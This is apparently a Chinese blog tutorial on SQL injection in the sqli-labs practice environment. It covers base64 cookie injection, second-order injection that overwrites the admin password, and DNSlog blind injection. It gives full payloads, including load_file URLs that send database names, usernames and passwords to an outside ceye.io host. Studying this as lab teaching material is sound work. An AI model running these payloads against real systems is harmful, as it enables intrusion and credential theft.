编解码注入、二次注入、DNSlog盲注
1、编解码注入
靶场 sqlilabs-Less21
登录后,使用bp抓包
分析源码:
发现,如果正确登录,就会设置一个cookie,并且使用base64编码
分析cookie:
发现此处可以进行cookie注入,但要注意,cookie经过base64编码
所以,抓到一个有cookie的包,
%3D 的urldecode值为 =
将YWRtaW4= 进行 base64解码得 : admin
cookie编码注入:
admin') and 1=1 #
编码得:
YWRtaW4nKSBhbmQgMT0xICM=
发送数据包:
') or updatexml(0,concat(0x7e,database()),0) # cookie报错注入
编码:
Jykgb3IgdXBkYXRleG1sKDAsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMCkgIw==
2、二次注入
1、什么是二次注入
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
普通注入与二次注入的区别:
普通注入:- 在http后面构造语句,是立即直接生效的 - 一次注入很容易被扫描工具扫描到二次注入:- 先构造语句(有被转义字符的语句)- 我们构造的恶意语句存入数据库- 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)- 二次注入更加难以被发现
2、二次注入原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入的原理,主要分为两步:
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二部:引入恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。早下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
二次注入示例:
*寻找插入数据库,并会转义的操作*
输入参数1’ -->参数经过转义函数1\‘ -->参数进入数据库还原为1’
*寻找另一处引用这个数据的操作*
将1‘从数据库中取出–>取出后直接给变量并带入SQL–>SQL注入触发
应用场景---在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入
sqlilabs-Less24
1、尝试在注册页面插入恶意数据,我们先注册一个账号,用户名为:admin’#,密码为123456。
2、查看恶意数据是否成功写入数据库
这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。
而这时的admin原密码是admin,并且两个账号都存储在数据库内的。当我们重新修改admin'#的密码时,这里修改为12345678;可以发现admin的密码却被修改为了xxxxxxx;而admin'#用户的密码并没有发生变化。
源码分析:
update users set password='xxxxxxx' where username='admin' #' and password='123456'
用户名为: admin' # 相当于把语句的后半部分给注释掉了,把用户名为admin的密码给改了
相当于:
update users set password='xxxxxxx' where username='admin'
这就是二次注入
3、DNSlog盲注
1.DNS
DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。
2.Dnslog
Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com
、t00ls.com.
等的访问信息。
DnsLog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
原理图:
如图,攻击者首先提交注入语句select load_file(concat(‘\\’,‘攻击语句’,.XXX.ceye.io\abc))
在数据库中攻击语句被执行,由**concat
函数将执行结果与XXX.ceye.io\\abc
拼接,构成一个新的域名,而mysql中的select load_file()
**可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的**ceye.io
**,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io
的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
构造语法
构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据
SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
通过SQL语句查询内容,作为请求的一部分发送至Dnslog
只要对这一部分语句进行构造,就能实现有回显的SQL注入
payload:
获取数据库名
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
通过dnslog查看到数据名为security
获取数据表
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取表中的字段名
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取表中字段下的数据
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
4、中转注入
编写php脚本,
编解码注入、二次注入、DNSlog盲注相关推荐
- mysql dba盲注_SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- SQL注入进阶:掌握布尔盲注和延时注入攻击技巧
数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...
- SQL注入:5、SQL盲注
5.SQL盲注 SQL注入与SQL盲注的区别 逻辑判断注入漏洞是否存在 SQL盲注之无权读取information_schema库和拒绝union.orderby语句 一次SQL盲注: SQL注入与S ...
- 基于 CoreAudio 的音频编解码(二):音频编码
系列文章目录 基于 CoreAudio 的音频编解码(一):音频解码 基于 CoreAudio 的音频编解码(二):音频编码 前言 在 基于 CoreAudio 的音频编解码(一):音频解码 中,我们 ...
- 基于 FFMPEG 的音频编解码(二):音频解码
音频解码 基于 FFMPEG 的音频编解码(一):Hello FFMPEG,安装与编译 基于 FFMPEG 的音频编解码(二):音频解码 基于 FFMPEG 的音频编解码(三):音频编码 在 Hell ...
- dnslog盲注原理
Dnslog盲注原理 布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护 我们需要一种方式能够减少请求,直接回显数据-- ...
- 渗透测试——sql注入进阶/基于时间的盲注/一看就会/
目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...
- 封神台SQL注入-基础靶场1-布尔盲注
文章目录 布尔盲注(一) 布尔盲注(二) 布尔盲注(三) 布尔盲注(一) 1.判断注入类型 id=1 and 1=1//有数据 id=1 and 1=2//no results found 判断为数字 ...
- SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注
页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...
最新文章
- IE和Firefox在JS方面的不兼容及统一方法总结
- troch3d open3d例子
- python将字符转换为字典
- boost::function模块boost::ref的测试程序
- linux下修改rm命令防止误删除
- 《scikit-learn》随机森林之回归
- mysql5.6开启memcache_php – 使用MYsql 5.6 Memcache
- 算法模板java_我的Java设计模式-模板方法模式
- atitit.RandomAccessFile rws rwd 的区别于联系
- Windows无法启动 VMware Workstation server服务解决方法
- 倾斜摄影在农房一体不动产测量中的技术流程(Smart3D+EPS)
- 做抖音有哪些变现方式
- kenlm N-gram语言模型的安装踩坑及使用
- mysql distinct 优化_SQL优化终于干掉了“distinct”
- FreeMarker 输出Boolean类型变量默认值
- HTML-form表单
- linux的网易云音乐界面不显示图片,网易云音乐1.2.0(build 0408) 有时候界面会变成白屏,变为完全无响应状态...
- (swing读书笔记)Swing Look And Feel(4)
- Waymo二次裁员/特斯拉召回,自动驾驶赛道「新」变化
- 计算机怎样发现路由器上u盘,路由器上USB插口的4大功能,估计你连一个都没用过...
热门文章
- Linux 各个目录的作用
- 曾谨言量子力学教程第3版笔记和课后答案
- 灵魂拷问:缓存与数据库的双写一致性如何保证?
- C语言计算数字乘积根,c语言,求任意一个整数各位数字之积
- 用树莓派制作一款只有刷脸才能开的保险柜
- TalkingData首席金融行业专家鲍忠铁:18亿数据解读移动互联网
- Factor_mimicking_portfolio(模仿因子的投资组合):EAP.fama_macbeth.Factor_mimicking_portfolio
- java基础知识之注解、反射(一)
- Vscode配置c++
- 5000词学英语——DAY3